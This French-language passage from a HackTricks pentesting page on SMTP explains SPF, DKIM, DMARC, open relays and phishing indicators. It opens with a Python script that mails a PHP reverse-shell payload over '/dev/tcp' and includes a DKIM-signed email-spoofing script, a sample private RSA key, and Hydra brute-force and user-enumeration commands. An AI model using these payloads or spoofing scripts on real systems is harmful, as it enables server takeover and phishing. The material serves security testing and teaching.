lhost = “127.0.0.1” lport = 443 rhost = “192.168.1.1” rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = “” msg[‘From’] = “attacker@local” msg[‘To’] = “victim@local” msg[‘Subject’] = “This is not a drill!”

payload

message = (“& /dev/tcp/%s/%d 0>&1'); ?>” % (lhost,lport))

print(“[*] Payload is generated : %s” % message)

msg.attach(MIMEText(message, ‘plain’)) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print(“[-]Connection Error”) exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg[‘From’], password)

server.sendmail(msg[‘From’], msg[‘To’], msg.as_string()) server.quit()

print(“[***]successfully sent email to %s:” % (msg[‘To’]))

</details>

## SMTP Smuggling

La vulnérabilité SMTP Smuggling permettait de contourner toutes les protections SMTP (voir la section suivante pour plus d'informations sur les protections). Pour plus d'informations sur SMTP Smuggling, consultez :


<a class="content_ref" href="smtp-smuggling.md"><span class="content_ref_label">SMTP Smuggling</span></a>

## Mail Spoofing Countermeasures

Pour empêcher l'envoi d'e-mails non autorisés en leur nom, les organisations utilisent **SPF**, **DKIM** et **DMARC**, car il est facile de réaliser du spoofing sur les messages SMTP.

Un **guide complet de ces contre-mesures** est disponible à [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

> [!CAUTION]
> SPF [a été "deprecated" en 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Cela signifie que, au lieu de créer un **TXT record** dans `_spf.domain.com`, vous le créez dans `domain.com` en utilisant la **même syntaxe**.\
> De plus, pour réutiliser d'anciens enregistrements spf, il est assez courant de trouver quelque chose comme `"v=spf1 include:_spf.google.com ~all"`

**Sender Policy Framework** (SPF) est un mécanisme qui permet aux Mail Transfer Agents (MTAs) de vérifier si un hôte envoyant un e-mail est autorisé en interrogeant la liste des serveurs de messagerie autorisés définis par les organisations. Cette liste, qui spécifie des adresses/plages IP, des domaines et d'autres entités **autorisé·es à envoyer des e-mails pour le compte d'un nom de domaine**, inclut divers **mécanismes** dans l'enregistrement SPF.

#### Mechanisms

From [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):

| Mechanism | Description                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Correspond toujours ; utilisé pour un résultat par défaut comme `-all` pour toutes les adresses IP non correspondantes aux mécanismes précédents.                                                                                                                                                                                      |
| A         | Correspond si le nom de domaine a un enregistrement d'adresse (A ou AAAA) qui se résout à l'adresse de l'expéditeur.                                                                                                                                                                                                                 |
| IP4       | Correspond si l'expéditeur se trouve dans une plage d'adresses IPv4 donnée.                                                                                                                                                                                                                                                         |
| IP6       | Correspond si l'expéditeur se trouve dans une plage d'adresses IPv6 donnée.                                                                                                                                                                                                                                                         |
| MX        | Correspond si le nom de domaine a un enregistrement MX qui se résout à l'adresse de l'expéditeur (c.-à-d. le mail provient de l'un des serveurs de réception du domaine).                                                                                                                                                         |
| PTR       | Correspond si le nom de domaine (enregistrement PTR) pour l'adresse du client est dans le domaine indiqué et que ce nom de domaine se résout à l'adresse du client (forward-confirmed reverse DNS). Ce mécanisme est déconseillé et devrait être évité si possible.                                                                  |
| EXISTS    | Correspond si le nom de domaine donné se résout à n'importe quelle adresse (peu importe l'adresse vers laquelle il se résout). Ceci est rarement utilisé. Avec le langage macro SPF, il permet des correspondances plus complexes comme des requêtes DNSBL.                                                                            |
| INCLUDE   | Référence la politique d'un autre domaine. Si la politique de ce domaine passe, ce mécanisme passe. Cependant, si la politique incluse échoue, le traitement se poursuit. Pour déléguer entièrement à la politique d'un autre domaine, l'extension redirect doit être utilisée.                                                      |
| REDIRECT  | <p>Un redirect est un pointeur vers un autre nom de domaine qui héberge une politique SPF ; il permet à plusieurs domaines de partager la même politique SPF. Il est utile lorsqu'on gère un grand nombre de domaines qui partagent la même infrastructure e-mail.</p><p>La politique SPF du domaine indiqué dans le mécanisme redirect sera utilisée.</p> |

Il est aussi possible d'identifier des **Qualifiers** qui indiquent **ce qu'il faut faire si un mécanisme correspond**. Par défaut, le **qualifier "+"** est utilisé (donc si un mécanisme correspond, cela signifie qu'il est autorisé).\
Vous remarquerez généralement **à la fin de chaque politique SPF** quelque chose comme : **\~all** ou **-all**. Cela sert à indiquer que **si l'expéditeur ne correspond à aucune politique SPF, vous devez marquer l'e-mail comme non fiable (\~) ou rejeter (-) l'e-mail.**

#### Qualifiers

Chaque mécanisme dans la politique peut être préfixé par l'un des quatre qualifiers pour définir le résultat attendu :

- **`+`** : Correspond à un résultat PASS. Par défaut, les mécanismes supposent ce qualifier, rendant `+mx` équivalent à `mx`.
- **`?`** : Représente un résultat NEUTRAL, traité de manière similaire à NONE (pas de politique spécifique).
- **`~`** : Désigne SOFTFAIL, servant d'entre-deux entre NEUTRAL et FAIL. Les e-mails obtenant ce résultat sont généralement acceptés mais marqués en conséquence.
- **`-`** : Indique FAIL, suggérant que l'e-mail devrait être rejeté purement et simplement.

Dans l'exemple suivant, la **politique SPF de google.com** est illustrée. Notez l'inclusion de politiques SPF de différents domaines au sein de la première politique SPF :
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Traditionnellement, il était possible de spoof n’importe quel nom de domaine qui n’avait pas d’enregistrement SPF correct/présent. De nos jours, si un email provient d’un domaine sans enregistrement SPF valide, il va probablement être rejeté/marqué comme non fiable automatiquement.

To check the SPF of a domain you can use online tools like: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM est utilisé pour signer les emails sortants, ce qui permet leur validation par des Mail Transfer Agents externes (MTAs) via la récupération de la clé publique du domaine depuis le DNS. Cette clé publique se trouve dans l’enregistrement TXT du domaine. Pour accéder à cette clé, il faut connaître à la fois le selector et le nom de domaine.

Par exemple, pour demander la clé, le nom de domaine et le selector sont essentiels. Ils peuvent être trouvés dans l’en-tête du mail DKIM-Signature, par ex. d=gmail.com;s=20120113.

Une commande pour récupérer ces informations pourrait ressembler à :

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Authentification des messages, rapports et conformité basés sur le domaine)

DMARC renforce la sécurité des e-mails en s’appuyant sur les protocoles SPF et DKIM. Il définit des politiques qui guident les serveurs de messagerie dans le traitement des e-mails d’un domaine spécifique, notamment comment gérer les échecs d’authentification et où envoyer les rapports sur les actions de traitement des e-mails.

Pour obtenir l’enregistrement DMARC, vous devez interroger le sous-domaine _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

Balises DMARC

Qu’en est-il des sous-domaines ?

Extrait de here.
Vous devez avoir des enregistrements SPF séparés pour chaque sous-domaine depuis lequel vous souhaitez envoyer des mails.
Ce qui suit a été initialement publié sur openspf.org, qui était autrefois une excellente ressource pour ce genre de choses.

La question Demon : Qu’en est-il des sous-domaines ?

Si je reçois du courrier de pielovers.demon.co.uk, et qu’il n’y a pas de données SPF pour pielovers, dois-je remonter d’un niveau et tester SPF pour demon.co.uk ? Non. Chaque sous-domaine chez Demon est un client différent, et chaque client peut avoir sa propre politique. Il n’aurait pas de sens que la politique de Demon s’applique par défaut à tous ses clients ; si Demon veut faire cela, il peut configurer des enregistrements SPF pour chaque sous-domaine.

Donc le conseil aux éditeurs SPF est le suivant : vous devriez ajouter un enregistrement SPF pour chaque sous-domaine ou nom d’hôte qui a un enregistrement A ou MX.

Les sites avec des enregistrements A ou MX génériques devraient aussi avoir un enregistrement SPF générique, de la forme : * IN TXT “v=spf1 -all”

Cela a du sens — un sous-domaine peut très bien se trouver dans une zone géographique différente et avoir une définition SPF très différente.

Open Relay

Lors de l’envoi d’emails, il est crucial qu’ils ne soient pas marqués comme spam. Cela s’obtient souvent en utilisant un relais de confiance pour le destinataire. Cependant, un problème fréquent est que les administrateurs ne savent pas exactement quelles plages d’IP sont sûres à autoriser. Ce manque de compréhension peut conduire à des erreurs dans la configuration du serveur SMTP, un risque fréquemment identifié lors des évaluations de sécurité.

Un contournement que certains administrateurs utilisent pour éviter les problèmes de livraison d’emails, notamment pour les communications avec des clients potentiels ou en cours, est d’autoriser les connexions depuis n’importe quelle adresse IP. Ceci se fait en configurant le paramètre mynetworks du serveur SMTP pour accepter toutes les adresses IP, comme montré ci-dessous :

mynetworks = 0.0.0.0/0

Pour vérifier si un serveur de messagerie est un open relay (ce qui signifie qu’il pourrait transférer des e-mails depuis n’importe quelle source externe), l’outil nmap est couramment utilisé. Il inclut un script spécifique conçu pour tester cela. La commande pour effectuer un scan verbeux sur un serveur (par exemple, avec l’IP 10.10.10.10) sur le port 25 en utilisant nmap est :

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Outils

• https://github.com/serain/mailspoof Vérifier les mauvaises configurations de SPF et DMARC
• https://pypi.org/project/checkdmarc/ Récupérer automatiquement les configurations SPF et DMARC

Envoyer un email Spoof

• https://www.mailsploit.com/index
• http://www.anonymailer.net/
• https://emkei.cz/

Ou vous pouvez utiliser un outil :

• https://github.com/magichk/magicspoofing

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

Warning

Si vous obtenez une erreur lors de l’utilisation de la librairie dkim Python pour analyser la clé, n’hésitez pas à utiliser celle-ci.
REMARQUE : Il s’agit d’une solution de contournement rapide pour effectuer des vérifications lorsque, pour une raison quelconque, la clé privée openssl ne peut pas être analysée par dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

Or you could do it manually:

# This will send an unsigned message
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

Plus d’informations

Trouvez plus d’informations sur ces protections sur https://seanthegeek.net/459/demystifying-dmarc/

Autres indicateurs de phishing

• Âge du domaine
• Liens pointant vers des adresses IP
• Techniques de manipulation de liens
• Pièces jointes suspectes (peu communes)
• Contenu de l’e-mail défectueux
• Valeurs utilisées différentes de celles des en-têtes du message
• Existence d’un certificat SSL valide et de confiance
• Soumission de la page à des sites de filtrage de contenu web

Exfiltration via SMTP

Si vous pouvez envoyer des données via SMTP read this.

Fichier de configuration

Postfix

Habituellement, si installé, le fichier /etc/postfix/master.cf contient des scripts à exécuter lorsqu’un nouvel e-mail est reçu par un utilisateur. Par exemple la ligne flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} signifie que /etc/postfix/filtering sera exécuté si un nouveau mail est reçu par l’utilisateur mark.

Autres fichiers de configuration:

sendmail.cf
submit.cf

Références

• https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
• https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/
• 0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM
• https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/

Commandes automatiques de HackTricks

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

• Vérifiez les plans d’abonnement !
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.